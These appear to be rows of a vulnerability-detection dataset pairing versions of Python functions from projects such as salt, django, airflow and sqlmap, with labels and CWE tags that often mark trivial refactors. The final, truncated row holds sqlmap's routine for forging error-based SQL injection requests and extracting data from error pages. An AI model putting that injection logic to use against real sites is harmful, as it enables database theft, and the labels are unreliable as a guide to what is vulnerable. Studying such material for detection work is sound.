functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/not_found/decorators.py,0,"def __call__(self, *args, **kwargs):
http_response = args[1]
query = args[2]
self._stats_total += 1
self._log_stats(http_response)
url_cache_key = self.get_url_cache_key(http_response)
try:
result = self._is_404_by_url_lru.get(url_cache_key, None)
except (AttributeError, AssertionError, KeyError) as _:
# This is a rare race conditions which happens when another
# thread modifies the cache and changes the __first item in
# the cache.
result = None
if result is not None:
self._log_success(http_response, result, 'URL')
return result
body_cache_key = self._response_cache_key_cache.get_response_cache_key(http_response,
clean_response=query)
try:
result = self._is_404_by_body_lru.get(body_cache_key, None)
except (AttributeError, AssertionError, KeyError) as _:
# This is a rare race conditions which happens when another
# thread modifies the cache and changes the __first item in
# the cache.
result = None
if result is not None:
self._log_success(http_response, result, 'body')
return result
# Run the real is_404 function
result = self._function(*args, **kwargs)
# Save the result to both caches
try:
self._is_404_by_body_lru[body_cache_key] = result
except (AttributeError, AssertionError, KeyError) as _:
# This is a rare race conditions which happens when another
# thread modifies the cache and changes the __first item in
# the cache.
pass
try:
self._is_404_by_url_lru[url_cache_key] = result
except (AttributeError, AssertionError, KeyError) as _:
# This is a rare race conditions which happens when another
# thread modifies the cache and changes the __first item in
# the cache.
pass
return result",,andresriancho/w3af,9ba00d022ad1963f49c39cabc8959661f1c4ba7e,"def __call__(self, *args, **kwargs):
http_response = args[1]
query = args[2]
self._stats_total += 1
self._log_stats(http_response)
url_cache_key = self.get_url_cache_key(http_response)
try:
result = self._is_404_by_url_lru.get(url_cache_key, None)
except (AttributeError, AssertionError, KeyError) as _:
# This is a rare race conditions which happens when another
# thread modifies the cache and changes the __first item in
# the cache.
result = None
if result is not None:
self._log_success(http_response, result, 'URL')
return result
body_cache_key = self._response_cache_key_cache.get_response_cache_key(http_response,
clean_response=query)
result = self._is_404_by_body_lru.get(body_cache_key, None)
if result is not None:
self._log_success(http_response, result, 'body')
return result
# Run the real is_404 function
result = self._function(*args, **kwargs)
# Save the result to both caches
try:
self._is_404_by_body_lru[body_cache_key] = result
except (AttributeError, AssertionError, KeyError) as _:
# This is a rare race conditions which happens when another
# thread modifies the cache and changes the __first item in
# the cache.
pass
try:
self._is_404_by_url_lru[url_cache_key] = result
except (AttributeError, AssertionError, KeyError) as _:
# This is a rare race conditions which happens when another
# thread modifies the cache and changes the __first item in
# the cache.
pass
return result"
,UNKNOWN,UNKNOWN,tools/pkg/build.py,1,"def onedir_dependencies(
ctx: Context,
arch: str = None,
python_version: str = None,
relenv_version: str = None,
package_name: str = None,
platform: str = None,
):
""""""
Create a relenv environment with the onedir dependencies installed.
NOTE: relenv needs to be installed into your environment and builds and toolchains (linux) fetched.
""""""
if TYPE_CHECKING:
assert arch is not None
assert python_version is not None
assert package_name is not None
assert platform is not None
if platform == ""darwin"":
platform = ""macos""
if platform != ""macos"" and arch == ""arm64"":
arch = ""aarch64""
shared_constants = tools.utils.get_cicd_shared_context()
if not python_version:
python_version = shared_constants[""python_version""]
if not relenv_version:
relenv_version = shared_constants[""relenv_version""]
if TYPE_CHECKING:
assert python_version
assert relenv_version
os.environ[""RELENV_FETCH_VERSION""] = relenv_version
# We import relenv here because it is not a hard requirement for the rest of the tools commands
try:
import relenv.create
except ImportError:
ctx.exit(1, ""Relenv not installed in the current environment."")
dest = pathlib.Path(package_name).resolve()
relenv.create.create(dest, arch=arch, version=python_version)
# Validate that we're using the relenv version we really want to
if platform == ""windows"":
env_scripts_dir = dest / ""Scripts""
else:
env_scripts_dir = dest / ""bin""
ret = ctx.run(
str(env_scripts_dir / ""relenv""), ""--version"", capture=True, check=False
)
if ret.returncode:
ctx.error(f""Failed to get the relenv version: {ret}"")
ctx.exit(1)
env_relenv_version = ret.stdout.strip().decode()
if env_relenv_version != relenv_version:
ctx.error(
f""The onedir installed relenv version({env_relenv_version}) is not ""
f""the relenv version which should be used({relenv_version}).""
)
ctx.exit(1)
ctx.info(
f""The relenv version installed in the onedir env({env_relenv_version}) ""
f""matches the version which must be used.""
)
env = os.environ.copy()
install_args = [""-v""]
if platform == ""windows"":
python_bin = env_scripts_dir / ""python""
else:
env[""RELENV_BUILDENV""] = ""1""
python_bin = env_scripts_dir / ""python3""
install_args.extend(
[
""--use-pep517"",
""--no-cache-dir"",
""--no-binary=:all:"",
]
)
# Cryptography needs openssl dir set to link to the proper openssl libs.
if platform == ""macos"":
env[""OPENSSL_DIR""] = f""{dest}""
if platform == ""linux"":
# This installs the ppbt package. We'll remove it after installing all
# of our python packages.
ctx.run(
str(python_bin),
""install"",
""relenv[toolchain]"",
)
version_info = ctx.run(
str(python_bin),
""-c"",
""import sys; print('{}.{}'.format(*sys.version_info))"",
capture=True,
)
requirements_version = version_info.stdout.strip().decode()
requirements_file = (
tools.utils.REPO_ROOT
/ ""requirements""
/ ""static""
/ ""pkg""
/ f""py{requirements_version}""
/ f""{platform if platform != 'macos' else 'darwin'}.txt""
)
_check_pkg_build_files_exist(ctx, requirements_file=requirements_file)
env[""PIP_CONSTRAINT""] = str(
tools.utils.REPO_ROOT / ""requirements"" / ""constraints.txt""
)
ctx.run(
str(python_bin),
""-m"",
""pip"",
""install"",
""-U"",
""setuptools"",
""pip"",
""wheel"",
env=env,
)
ctx.run(
str(python_bin),
""-m"",
""pip"",
""install"",
*install_args,
""-r"",
str(requirements_file),
env=env,
)",CWE-703,saltstack/salt,aa6cd319e7a25136db71e9aa03d84c0d4124b295,"def onedir_dependencies(
ctx: Context,
arch: str = None,
python_version: str = None,
relenv_version: str = None,
package_name: str = None,
platform: str = None,
):
""""""
Create a relenv environment with the onedir dependencies installed.
NOTE: relenv needs to be installed into your environment and builds and toolchains (linux) fetched.
""""""
if TYPE_CHECKING:
assert arch is not None
assert python_version is not None
assert package_name is not None
assert platform is not None
if platform == ""darwin"":
platform = ""macos""
if platform != ""macos"" and arch == ""arm64"":
arch = ""aarch64""
shared_constants = tools.utils.get_cicd_shared_context()
if not python_version:
python_version = shared_constants[""python_version""]
if not relenv_version:
relenv_version = shared_constants[""relenv_version""]
if TYPE_CHECKING:
assert python_version
assert relenv_version
os.environ[""RELENV_FETCH_VERSION""] = relenv_version
# We import relenv here because it is not a hard requirement for the rest of the tools commands
try:
import relenv.create
except ImportError:
ctx.exit(1, ""Relenv not installed in the current environment."")
dest = pathlib.Path(package_name).resolve()
relenv.create.create(dest, arch=arch, version=python_version)
# Validate that we're using the relenv version we really want to
if platform == ""windows"":
env_scripts_dir = dest / ""Scripts""
else:
env_scripts_dir = dest / ""bin""
ret = ctx.run(
str(env_scripts_dir / ""relenv""), ""--version"", capture=True, check=False
)
if ret.returncode:
ctx.error(f""Failed to get the relenv version: {ret}"")
ctx.exit(1)
env_relenv_version = ret.stdout.strip().decode()
if env_relenv_version != relenv_version:
ctx.error(
f""The onedir installed relenv version({env_relenv_version}) is not ""
f""the relenv version which should be used({relenv_version}).""
)
ctx.exit(1)
ctx.info(
f""The relenv version installed in the onedir env({env_relenv_version}) ""
f""matches the version which must be used.""
)
env = os.environ.copy()
install_args = [""-v""]
if platform == ""windows"":
python_bin = env_scripts_dir / ""python""
else:
env[""RELENV_BUILDENV""] = ""1""
python_bin = env_scripts_dir / ""python3""
install_args.extend(
[
""--use-pep517"",
""--no-cache-dir"",
""--no-binary=:all:"",
]
)
# Cryptography needs openssl dir set to link to the proper openssl libs.
if platform == ""macos"":
env[""OPENSSL_DIR""] = f""{dest}""
if platform == ""linux"":
# This installs the ppbt package. We'll remove it after installing all
# of our python packages.
ctx.run(
str(python_bin),
""-m"",
""pip"",
""install"",
""relenv[toolchain]"",
)
version_info = ctx.run(
str(python_bin),
""-c"",
""import sys; print('{}.{}'.format(*sys.version_info))"",
capture=True,
)
requirements_version = version_info.stdout.strip().decode()
requirements_file = (
tools.utils.REPO_ROOT
/ ""requirements""
/ ""static""
/ ""pkg""
/ f""py{requirements_version}""
/ f""{platform if platform != 'macos' else 'darwin'}.txt""
)
_check_pkg_build_files_exist(ctx, requirements_file=requirements_file)
env[""PIP_CONSTRAINT""] = str(
tools.utils.REPO_ROOT / ""requirements"" / ""constraints.txt""
)
ctx.run(
str(python_bin),
""-m"",
""pip"",
""install"",
""-U"",
""setuptools"",
""pip"",
""wheel"",
env=env,
)
ctx.run(
str(python_bin),
""-m"",
""pip"",
""install"",
*install_args,
""-r"",
str(requirements_file),
env=env,
)"
,UNKNOWN,UNKNOWN,django/contrib/gis/db/models/lookups.py,1,"def as_sql(self, qn, connection):
from django.contrib.gis.db.models.sql import GeoWhereNode
# We use the same approach as was used by GeoWhereNode. It would
# be a good idea to upgrade GIS to use similar code that is used
# for other lookups.
if isinstance(self.rhs, SQLEvaluator):
# Make sure the F Expression destination field exists, and
# set an `srid` attribute with the same as that of the
# destination.
geo_fld = GeoWhereNode._check_geo_field(self.rhs.opts, self.rhs.expression.name)
if not geo_fld:
raise ValueError('No geographic field found in expression.')
self.rhs.srid = geo_fld.srid
db_type = self.lhs.output_field.db_type(connection=connection)
params = self.lhs.output_field.get_db_prep_lookup(
self.lookup_name, self.rhs, connection=connection)
lhs_sql, lhs_params = self.process_lhs(qn, connection)
# lhs_params not currently supported.
assert not lhs_params
data = (lhs_sql, db_type)
spatial_sql, spatial_params = connection.ops.spatial_lookup_sql(
data, self.lookup_name, self.rhs, self.lhs.output_field, qn)
return spatial_sql, spatial_params + params",CWE-703,django/django,aa10f57d9460f121dea2ec2635e478ed02cc18b5,"def as_sql(self, qn, connection):
from django.contrib.gis.db.models.sql import GeoWhereNode
# We use the same approach as was used by GeoWhereNode. It would
# be a good idea to upgrade GIS to use similar code that is used
# for other lookups.
if isinstance(self.rhs, SQLEvaluator):
# Make sure the F Expression destination field exists, and
# set an `srid` attribute with the same as that of the
# destination.
geo_fld = GeoWhereNode._check_geo_field(self.rhs.opts, self.rhs.expression.name)
if not geo_fld:
raise ValueError('No geographic field found in expression.')
self.rhs.srid = geo_fld.srid
db_type = self.lhs.output_type.db_type(connection=connection)
params = self.lhs.output_type.get_db_prep_lookup(
self.lookup_name, self.rhs, connection=connection)
lhs_sql, lhs_params = self.process_lhs(qn, connection)
# lhs_params not currently supported.
assert not lhs_params
data = (lhs_sql, db_type)
spatial_sql, spatial_params = connection.ops.spatial_lookup_sql(
data, self.lookup_name, self.rhs, self.lhs.output_type, qn)
return spatial_sql, spatial_params + params"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,scripts/ci/pre_commit/check_providers_subpackages_all_have_init.py,0,"def check_dir_init_src_folders(folders: list[Path]) -> None:
global fail_pre_commit
folders = list(folders)
for root_distribution_path in folders:
# We need init folders for all folders and for the common ones we need path extension
providers_base_folder = root_distribution_path / ""src"" / ""airflow""
print(""Checking for __init__.py files in distribution for src: "", providers_base_folder)
for root, dirs, _ in os.walk(providers_base_folder):
print(""Checking: "", root)
root_path = Path(root)
# Edit it in place, so we don't recurse to folders we don't care about
dirs[:] = [d for d in dirs if d not in ACCEPTED_NON_INIT_DIRS]
relative_root_path = root_path.relative_to(providers_base_folder)
need_path_extension = (
root_path == providers_base_folder
or len(relative_root_path.parts) == 1
or len(relative_root_path.parts) == 2
and relative_root_path.parts[1] in KNOWN_SECOND_LEVEL_PATHS
and relative_root_path.parts[0] == ""providers""
)
print(""Needs path extension: "", need_path_extension)
_determine_init_py_action(need_path_extension, root_path)",CWE-Unknown,apache/airflow,95a74c67297c7796ef642326b390161f43184ffd,"def check_dir_init_src_folders(folders: list[Path]) -> None:
global fail_pre_commit
folders = list(folders)
for root_distribution_path in folders:
# We need init folders for all folders and for the common ones we need path extension
providers_base_folder = root_distribution_path / ""src"" / ""airflow""
print(""Checking for __init__.py files in distribution for src: "", providers_base_folder)
for root, dirs, _ in os.walk(providers_base_folder):
print(""Checking: "", root)
root_path = Path(root)
# Edit it in place, so we don't recurse to folders we don't care about
dirs[:] = [d for d in dirs if d not in ACCEPTED_NON_INIT_DIRS]
relative_root_path = root_path.relative_to(providers_base_folder)
need_path_extension = (
root_path == providers_base_folder
or len(relative_root_path.parts) == 2
and relative_root_path.parts[1] in KNOWN_SECOND_LEVEL_PATHS
and relative_root_path.parts[0] == ""providers""
)
print(""Needs path extension: "", need_path_extension)
_determine_init_py_action(need_path_extension, root_path)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/runner/lib/delegation.py,0,"def delegate_tox(args, exclude, require, integration_targets):
""""""
:type args: EnvironmentConfig
:type exclude: list[str]
:type require: list[str]
:type integration_targets: tuple[IntegrationTarget]
""""""
if args.python:
versions = (args.python_version,)
if args.python_version not in SUPPORTED_PYTHON_VERSIONS:
raise ApplicationError('tox does not support Python version %s' % args.python_version)
else:
versions = SUPPORTED_PYTHON_VERSIONS
if args.httptester:
needs_httptester = sorted(target.name for target in integration_targets if 'needs/httptester/' in target.aliases)
if needs_httptester:
display.warning('Use --docker or --remote to enable httptester for tests marked ""needs/httptester"": %s' % ', '.join(needs_httptester))
options = {
'--tox': args.tox_args,
'--tox-sitepackages': 0,
}
for version in versions:
tox = ['tox', '-c', 'test/runner/tox.ini', '-e', 'py' + version.replace('.', '')]
if args.tox_sitepackages:
tox.append('--sitepackages')
tox.append('--')
cmd = generate_command(args, os.path.abspath('bin/ansible-test'), options, exclude, require)
if not args.python:
cmd += ['--python', version]
if isinstance(args, TestConfig):
if args.coverage and not args.coverage_label:
cmd += ['--coverage-label', 'tox-%s' % version]
env = common_environment()
# temporary solution to permit ansible-test delegated to tox to provision remote resources
optional = (
'SHIPPABLE',
'SHIPPABLE_BUILD_ID',
'SHIPPABLE_JOB_NUMBER',
)
env.update(pass_vars(required=[], optional=optional))
run_command(args, tox + cmd, env=env)",,ansible/ansible,e4ae98f83e2b77a2f815ca320e94e0e2279f62f5,"def delegate_tox(args, exclude, require, integration_targets):
""""""
:type args: EnvironmentConfig
:type exclude: list[str]
:type require: list[str]
:type integration_targets: tuple[IntegrationTarget]
""""""
if args.python:
versions = args.python_version,
if args.python_version not in SUPPORTED_PYTHON_VERSIONS:
raise ApplicationError('tox does not support Python version %s' % args.python_version)
else:
versions = SUPPORTED_PYTHON_VERSIONS
if args.httptester:
needs_httptester = sorted(target.name for target in integration_targets if 'needs/httptester/' in target.aliases)
if needs_httptester:
display.warning('Use --docker or --remote to enable httptester for tests marked ""needs/httptester"": %s' % ', '.join(needs_httptester))
options = {
'--tox': args.tox_args,
'--tox-sitepackages': 0,
}
for version in versions:
tox = ['tox', '-c', 'test/runner/tox.ini', '-e', 'py' + version.replace('.', '')]
if args.tox_sitepackages:
tox.append('--sitepackages')
tox.append('--')
cmd = generate_command(args, os.path.abspath('bin/ansible-test'), options, exclude, require)
if not args.python:
cmd += ['--python', version]
if isinstance(args, TestConfig):
if args.coverage and not args.coverage_label:
cmd += ['--coverage-label', 'tox-%s' % version]
env = common_environment()
# temporary solution to permit ansible-test delegated to tox to provision remote resources
optional = (
'SHIPPABLE',
'SHIPPABLE_BUILD_ID',
'SHIPPABLE_JOB_NUMBER',
)
env.update(pass_vars(required=[], optional=optional))
run_command(args, tox + cmd, env=env)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/comparison.py,0,"def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None
# String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
pageWithoutString = page[:index]
pageWithoutString += page[index+length:]
page = pageWithoutString
# Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
if regExpResults:
for regExpResult in regExpResults:
index = page.index(regExpResult)
length = len(regExpResult)
pageWithoutRegExp = page[:index]
pageWithoutRegExp += page[index+length:]
page = pageWithoutRegExp
# String to match in page when the query is valid
if conf.string:
return conf.string in page
# Regular expression to match in page when the query is valid
if conf.regexp:
return re.search(conf.regexp, page, re.I | re.M) is not None
# Dynamic content lines to be excluded before calculating page hash
if kb.dynamicContent:
lines = preparePageForLineComparison(page)
for item in kb.dynamicContent:
if len(lines) == item.pageTotal:
before = item.lineNumber - 1 if isinstance(item.lineNumber, int) else item.lineNumber[0] - 1
after = item.lineNumber + 1 if isinstance(item.lineNumber, int) else item.lineNumber[-1] + 1
if (item.lineContentBefore and lines[before] != item.lineContentBefore) or (item.lineContentAfter and lines[after] != item.lineContentAfter):
continue
if isinstance(item.lineNumber, int):
page = page.replace(lines[item.lineNumber], '')
else:
for i in item.lineNumber:
page = page.replace(lines[i], '')
if conf.seqLock:
conf.seqLock.acquire()
conf.seqMatcher.set_seq2(page)
ratio = round(conf.seqMatcher.ratio(), 3)
if conf.seqLock:
conf.seqLock.release()
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if conf.matchRatio is None:
if conf.thold:
conf.matchRatio = conf.thold
elif conf.md5hash is not None and ratio > 0.6 and ratio < 1:
logger.debug(""setting match ratio to %.3f"" % ratio)
conf.matchRatio = ratio
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
logger.debug(""setting match ratio to default value 0.900"")
conf.matchRatio = 0.900
if conf.matchRatio is not None:
setMatchRatio()
# If it has been requested to return the ratio and not a comparison
# response
if getSeqMatcher:
return ratio
# If the url is stable it returns True if the page has the same MD5
# hash of the original one
# NOTE: old implementation, it did not handle automatically the fact
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
#elif conf.md5hash is not None:
# return conf.md5hash == md5hash(page)
# If the url is not stable it returns sequence matcher between the
# first untouched HTTP response page content and this content
else:
return ratio > conf.matchRatio",,sqlmapproject/sqlmap,798ab4989b0514646c7a82225725f77400334f24,"def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None
# String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
pageWithoutString = page[:index]
pageWithoutString += page[index+length:]
page = pageWithoutString
# Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
if regExpResults:
for regExpResult in regExpResults:
index = page.index(regExpResult)
length = len(regExpResult)
pageWithoutRegExp = page[:index]
pageWithoutRegExp += page[index+length:]
page = pageWithoutRegExp
# String to match in page when the query is valid
if conf.string:
return conf.string in page
# Regular expression to match in page when the query is valid
if conf.regexp:
return re.search(conf.regexp, page, re.I | re.M) is not None
# Dynamic content lines to be excluded before calculating page hash
if kb.dynamicContent:
lines = preparePageForLineComparison(page)
for item in kb.dynamicContent:
if len(lines) == item.pageTotal:
before = item.lineNumber - 1 if isinstance(item.lineNumber, int) else item.lineNumber[0] - 1
after = item.lineNumber + 1 if isinstance(item.lineNumber, int) else item.lineNumber[-1] + 1
if (item.lineContentBefore and lines[before] != item.lineContentBefore) or (item.lineContentAfter and lines[after] != item.lineContentAfter):
continue
if isinstance(item.lineNumber, int):
page = page.replace(lines[item.lineNumber], '')
else:
for i in item.lineNumber:
page = page.replace(lines[i], '')
if conf.seqLock:
conf.seqLock.acquire()
conf.seqMatcher.set_seq2(page)
ratio = round(conf.seqMatcher.ratio(), 3)
if conf.seqLock:
conf.seqLock.release()
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if conf.matchRatio is None:
if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
logger.debug(""setting match ratio to %.3f"" % ratio)
conf.matchRatio = ratio
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
logger.debug(""setting match ratio to default value 0.900"")
conf.matchRatio = 0.900
if conf.matchRatio is not None:
setMatchRatio()
# If it has been requested to return the ratio and not a comparison
# response
if getSeqMatcher:
return ratio
# If the url is stable it returns True if the page has the same MD5
# hash of the original one
# NOTE: old implementation, it did not handle automatically the fact
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
#elif conf.md5hash is not None:
# return conf.md5hash == md5hash(page)
# If the url is not stable it returns sequence matcher between the
# first untouched HTTP response page content and this content
else:
return ratio > conf.matchRatio"
,UNKNOWN,UNKNOWN,providers/standard/src/airflow/providers/standard/sensors/external_task.py,1,"def get_link(self, operator: BaseOperator, *, ti_key: TaskInstanceKey) -> str:
if TYPE_CHECKING:
assert isinstance(operator, (ExternalTaskMarker, ExternalTaskSensor))
external_dag_id = operator.external_dag_id
if not AIRFLOW_V_3_0_PLUS:
from airflow.models.renderedtifields import RenderedTaskInstanceFields
if template_fields := RenderedTaskInstanceFields.get_templated_fields(ti_key):
external_dag_id: str = template_fields.get(""external_dag_id"", operator.external_dag_id) # type: ignore[no-redef]
if AIRFLOW_V_3_0_PLUS:
from airflow.utils.helpers import build_airflow_dagrun_url
return build_airflow_dagrun_url(dag_id=external_dag_id, run_id=ti_key.run_id)
from airflow.utils.helpers import build_airflow_url_with_query # type:ignore[attr-defined]
query = {""dag_id"": external_dag_id, ""run_id"": ti_key.run_id}
return build_airflow_url_with_query(query)",CWE-703,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def get_link(self, operator: BaseOperator, *, ti_key: TaskInstanceKey) -> str:
if TYPE_CHECKING:
assert isinstance(operator, (ExternalTaskMarker, ExternalTaskSensor))
external_dag_id = operator.external_dag_id
if not AIRFLOW_V_3_0_PLUS:
from airflow.models.renderedtifields import RenderedTaskInstanceFields
if template_fields := RenderedTaskInstanceFields.get_templated_fields(ti_key):
external_dag_id: str = template_fields.get(""external_dag_id"", operator.external_dag_id) # type: ignore[no-redef]
if AIRFLOW_V_3_0_PLUS:
from airflow.utils.helpers import build_airflow_dagrun_url
return build_airflow_dagrun_url(dag_id=external_dag_id, run_id=ti_key.run_id)
else:
from airflow.utils.helpers import build_airflow_url_with_query # type:ignore[attr-defined]
query = {""dag_id"": external_dag_id, ""run_id"": ti_key.run_id}
return build_airflow_url_with_query(query)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_cmd.py,1,"def test_run():
""""""
Test to run a command if certain circumstances are met.
""""""
name = ""cmd.script""
ret = {""name"": name, ""result"": False, ""changes"": {}, ""comment"": """"}
with patch.dict(cmd.__opts__, {""test"": False}):
comt = ""Invalidly-formatted 'env' parameter. See documentation.""
ret.update({""comment"": comt})
assert cmd.run(name, env=""salt"") == ret
with patch.dict(cmd.__grains__, {""shell"": ""shell""}):
with patch.dict(cmd.__opts__, {""test"": False}):
mock = MagicMock(side_effect=[CommandExecutionError, {""retcode"": 1}])
with patch.dict(cmd.__salt__, {""cmd.run_all"": mock}):
ret.update({""comment"": """", ""result"": False})
assert cmd.run(name) == ret
ret.update(
{
""comment"": 'Command ""cmd.script"" run',
""result"": False,
""changes"": {""retcode"": 1},
}
)
assert cmd.run(name) == ret
with patch.dict(cmd.__opts__, {""test"": True}):
comt = 'Command ""cmd.script"" would have been executed'
ret.update(
{""comment"": comt, ""result"": None, ""changes"": {""cmd"": ""cmd.script""}}
)
assert cmd.run(name) == ret",CWE-703,saltstack/salt,c66f34f5db22d5b67bad8a73a82797448b9ce0c4,"def test_run():
""""""
Test to run a command if certain circumstances are met.
""""""
name = ""cmd.script""
ret = {""name"": name, ""result"": False, ""changes"": {}, ""comment"": """"}
with patch.dict(cmd.__opts__, {""test"": False}):
comt = ""Invalidly-formatted 'env' parameter. See documentation.""
ret.update({""comment"": comt})
assert cmd.run(name, env=""salt"") == ret
with patch.dict(cmd.__grains__, {""shell"": ""shell""}):
with patch.dict(cmd.__opts__, {""test"": False}):
mock = MagicMock(side_effect=[CommandExecutionError, {""retcode"": 1}])
with patch.dict(cmd.__salt__, {""cmd.run_all"": mock}):
ret.update({""comment"": """", ""result"": False})
assert cmd.run(name) == ret
ret.update(
{
""comment"": 'Command ""cmd.script"" run',
""result"": False,
""changes"": {""retcode"": 1},
}
)
assert cmd.run(name) == ret
with patch.dict(cmd.__opts__, {""test"": True}):
comt = 'Command ""cmd.script"" would have been executed'
ret.update({""comment"": comt, ""result"": None, ""changes"": {}})
assert cmd.run(name) == ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pyfunc/docker/conftest.py,0,"def save_model_with_latest_mlflow_version(flavor, extra_pip_requirements=None, **kwargs):
""""""
Save a model with overriding MLflow version from dev version to the latest released version.
By default a model is saved with the dev version of MLflow, which is not available on PyPI.
Usually we can be workaround this by adding --serve-wheel flag that starts local PyPI server,
however, this doesn't work when installing dependencies inside Docker container. Hence, this
function uses `extra_pip_requirements` to save the model with the latest released MLflow.
""""""
latest_mlflow_version = get_released_mlflow_version()
if flavor == ""langchain"":
kwargs[""pip_requirements""] = [f""mlflow[gateway]=={latest_mlflow_version}"", ""langchain""]
elif flavor == ""fastai"":
import fastai
# pip dependency resolution works badly with auto-inferred fastai model dependencies
# and it ends up with downloading many versions of toch package, and makes CI container
# runs out of disk space.
# So set `pip_requirements` explicitly as a workaround.
kwargs[""pip_requirements""] = [
f""mlflow=={latest_mlflow_version}"",
f""fastai=={fastai.__version__}"",
]
else:
extra_pip_requirements = extra_pip_requirements or []
extra_pip_requirements.append(f""mlflow=={latest_mlflow_version}"")
kwargs[""extra_pip_requirements""] = extra_pip_requirements
flavor_module = getattr(mlflow, flavor)
flavor_module.save_model(**kwargs)",,mlflow/mlflow,eaf87993d58f39a576b75b0ceb2f32fdba2fc7c5,"def save_model_with_latest_mlflow_version(flavor, extra_pip_requirements=None, **kwargs):
""""""
Save a model with overriding MLflow version from dev version to the latest released version.
By default a model is saved with the dev version of MLflow, which is not available on PyPI.
Usually we can be workaround this by adding --serve-wheel flag that starts local PyPI server,
however, this doesn't work when installing dependencies inside Docker container. Hence, this
function uses `extra_pip_requirements` to save the model with the latest released MLflow.
""""""
latest_mlflow_version = get_released_mlflow_version()
if flavor == ""langchain"":
kwargs[""pip_requirements""] = [f""mlflow[gateway]=={latest_mlflow_version}"", ""langchain""]
else:
extra_pip_requirements = extra_pip_requirements or []
extra_pip_requirements.append(f""mlflow=={latest_mlflow_version}"")
kwargs[""extra_pip_requirements""] = extra_pip_requirements
flavor_module = getattr(mlflow, flavor)
flavor_module.save_model(**kwargs)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/error/use.py,0,"def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
rotator = 0
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
logger.info(""resuming partial value: '%s'"" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = ""searching for error chunk length...""
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = ""SELECT %s('%s',%d)"" % (""REPEAT"" if Backend.isDbms(DBMS.MYSQL) else ""REPLICATE"", testChar, current)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if (result or """").startswith(testChar):
if result == testChar * current:
kb.errorChunkLength = current
break
else:
result = re.search(r""\A\w+"", result).group(0)
candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current else current - 1
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = r""%s(?P.*?)%s"" % (kb.chars.start, kb.chars.stop)
trimcheck = r""%s(?P[^<\n]*)"" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in (""COUNT"", ""CASE"")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r""[^ ,]*%s[^ ,]*"" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace(""[QUERY]"", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
if page and conf.noEscape:
page = re.sub(r""('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)"" % (kb.chars.start, kb.chars.stop), """", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
